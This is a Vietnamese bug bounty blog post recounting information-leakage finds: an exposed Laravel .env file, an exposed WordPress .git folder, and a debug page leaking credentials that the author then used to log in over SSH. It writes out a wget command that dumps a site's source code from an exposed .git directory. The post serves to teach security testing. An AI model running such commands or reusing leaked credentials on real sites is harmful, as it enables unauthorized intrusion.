Một thời gian trước đây mình có đọc được một write-up của anh @ngalog, một cao thủ bug bounty, hay target vào Uber, Gitlab,… Anh ấy nói rằng trung bình một ngày anh ấy đọc khoảng 15 nghìn request để có thể tìm được bug. Nghe mà choáng. Trước giờ số request cao nhất của mình chỉ vào khoảng 3 nghìn, tuy nhiên đã có một số lớn request đến từ detectportal.firefox.com rồi.

Nhưng mà nói đi cũng phải nói lại, đôi lúc để hack một website không cần nhiều request đến vậy. Mình đã gặp ít nhất là 2 cases, mỗi case mình chỉ cần 1 request là đã có thể compromise được server. Tất nhiên đó chỉ là may mắn, bởi vì để có được 2 cases thành công, ai biết được mình đã thất bại trong bao nhiêu case khác? Hì hì, nhưng mà, mình có đọc được ở đâu đó, chắc là trong đống truyện tiên hiệp huyền huyễn, rằng “may mắn cũng là một loại thực lực”. Thôi thì cứ tin như vậy đi, cho cuộc đời nó tươi đẹp, nhỉ 😀

Các case mình chia sẻ dưới đây có thể được phân loại vào dạng “Information Leakage”. Có nhiều loại leakage, và impact của các loại này cũng khác nhau. Có loại thì sẽ dẫn đến compromise cả server, có loại chỉ show ra sensitive information nhưng không ảnh hưởng nhiều đến hệ thống. Tuy nhiên nhìn chung, information leakage là một loại lỗi cần tránh. Hacker hoàn toàn có thể hack cả server, chỉ cần dựa vào những thông tin tưởng chừng như vô hại này.

Một ngày đẹp trời, khoảng gần hai năm trước, trên twitter xuất hiện một tweet khá hay. Uhm, Laravel à. Ngay lập tức mình nhớ đến một website “quen biết” cũng dùng Laravel. Thử một request đến https://thatwebsite.com/.env, kết quả trả về làm mình thật bất ngờ…

Với những credential này, tại thời điểm đó mình có thể login vào một hệ quản trị của server, và chạy được command. Không có gì phức tạp, nhỉ. Đương nhiên, vì không có gì phức tạp nên cũng không có bounty :'(

Case thứ hai là một case bug bounty mình đã gặp cách đây khoảng nửa năm. Khi biết target chạy WordPress thì suy nghĩ đầu tiên trong đầu mình là: thôi RIP rồi, WordPress thì làm ăn gì được đây 🙁 Tuy nhiên lúc đó, không hiểu ma xui quỷ khiến thế nào, mình ngứa tay chọc thử https://domain.com/.git

Mà truy cập vào được folder .git nghĩa là bạn có thể download toàn bộ source code của website, bằng cách dùng hai command dưới đây:

$ wget --mirror -I .git https://domain.com/.git/
$ git checkout -- .

Kết quả là…

Đương nhiên, site chạy WordPress thì mình cũng nên đọc wp-config.php cho đúng quy trình:

Thôi đến đây thì nên submit thôi 😀 Happy hacking!

Test tool và cái kết

Khai trương blog mới bằng một case mình mới gặp gần đây. Case này thì khá là đơn giản (nếu không muốn nói là rất dễ, ai cũng làm được, không hề có kỹ thuật gì cao siêu, rất cơ bản). Mấu chốt để mình có thể tìm được bug này theo mình là “đúng thời điểm”.

Lúc trước viết write-up nhiều, nên được các lãnh đạo ưu ái cho làm writer trên blog tradahacking.vn. May sao số view vừa đủ để được tặng một vé dự Trà đá Hacking #8, vé tận mấy trăm nghìn. Bỏ thì tiếc, mà đi thì không biết đào đâu ra tiền mà đi (nói mọi người không tin, chứ đến tận lúc viết bài trong tài khoản mình còn không tới nổi 100k, đứa nào nói điêu làm :dog: sủa gâu gâu).

Chợt nhớ lại mấy target bug bounty ở VN thời gian trước mình có làm, tầm gần nửa năm về trước. Tại sao lúc đó mình chọn những target VN? Dễ thôi, thứ nhất mình là người Việt, nên những target VN mình sẽ dễ dàng hiểu được flow chương trình hơn; thứ hai mình muốn ủng hộ “hàng Việt”, thay vì để đám hacker nước ngoài phá thì thôi để mình làm cho, ít thiệt hại hơn; thứ ba, tại thời điểm đó mình không/chưa đủ trình làm mấy target trên HackerOne hay Bugcrowd các kiểu. Trên đó tiền bounty toàn mấy anh trong private program lượm hết, còn public thì chỉ có đợi định mệnh gọi tên. Cựu đồng nghiệp của mình RCE còn bị duplicate nữa thì hiểu rồi. Nên thôi, ta về ta tắm ao ta, mặc dù tiền ít, nhưng được một cái là ít người tranh giành hơn, may ra còn sót được vài bug low-hanging fruit cho mình lượm.

Thế là mình bắt tay vào thử tìm bug, với tâm thế là không còn gì để mất. Có bug thì mình book vé đi Hà Nội chơi Trà đá Hacking, không thì đành ở nhà hóng các idol từ xa vậy :((

Bởi vì đây là một target cũ, trong một chương trình public bug bounty, mình đã làm khoảng nửa năm rồi, nên mình sẽ skip qua phần subdomain enumeration, cho đỡ tốn thời gian.

Ơ khoan đã! Nửa năm rồi, làm sao biết được không có subdomain mới?

Tình cờ, hai ngày trước, kênh Telegram The Bug Bounty Hunter suggest một tool tìm subdomain mới, với description rất kêu: “The fastest and cross-platform subdomain enumerator, don’t waste your time“. Thôi thì nhân tiện, thử tool mới xem sao.

Clone về, chmod rồi run thử. Tool chạy khá nhanh, và cho kết quả khá nhiều. Lướt xem thì đúng như dự đoán, có một subdomain mới. Truy cập vào thì thấy một trang trắng trơn. Đúng hơn là có vài option cho chọn, nhưng chẳng có gì xuất hiện, hơn nữa còn đòi quyền access location. Với “bản năng” của một người làm web (=]]]]), mình view source, tìm xem có chỗ nào khả nghi không. Lại tình cờ, hôm trước mình vừa đọc một bài viết của một idol bằng tuổi, bài viết bảo rằng muốn tìm bug low-hanging fruit thì nên chăm nhìn vào các file javascript. Mình thì rất tin các idol, nên mình check /js/script.js. Trời không phụ lòng người, mình thấy một endpoint khá thú vị.

OK, access thử vào endpoint xem. Thật bất ngờ, APP_DEBUG đang bật, và…

Username và password rành rành ra thế kia thì lấy submit thôi chứ đợi gì nữa. Soạn một report cực kỳ tâm huyết, đầy đủ các bước từ lúc subdomain enumeration đến khi leak được username/password, rồi nhấn submit. Tắt máy đi ăn.

Ơ khoan đã! Cứ thế mà submit thì nó lại không hay, vì không có impact gì cụ thể cả. Mình tự hỏi với username và password đó không biết mình còn có thể làm gì được nữa không? Thế là như một thói quen, mình ném cái domain này vào nmap. Còn tại sao cái này được gọi là “thói quen” thì… ahihi.

Đây rồi, port 22 đây rồi. Thử ssh vào bằng username và password trên kia thử, biết đâu bất ngờ. Ơ mà bất ngờ thật…

Tới đây thì còn gì để nói nữa đâu hả những người anh em thiện lành :))

À đâu, còn chứ. Chuyện nó cứ thế mà kết thúc thì có gì là hấp dẫn đâu. Cứ tưởng có tiền bù được tiền vé đi Trà đá Hacking, không ngờ… 

Đời không như là mơ các bạn ạ :((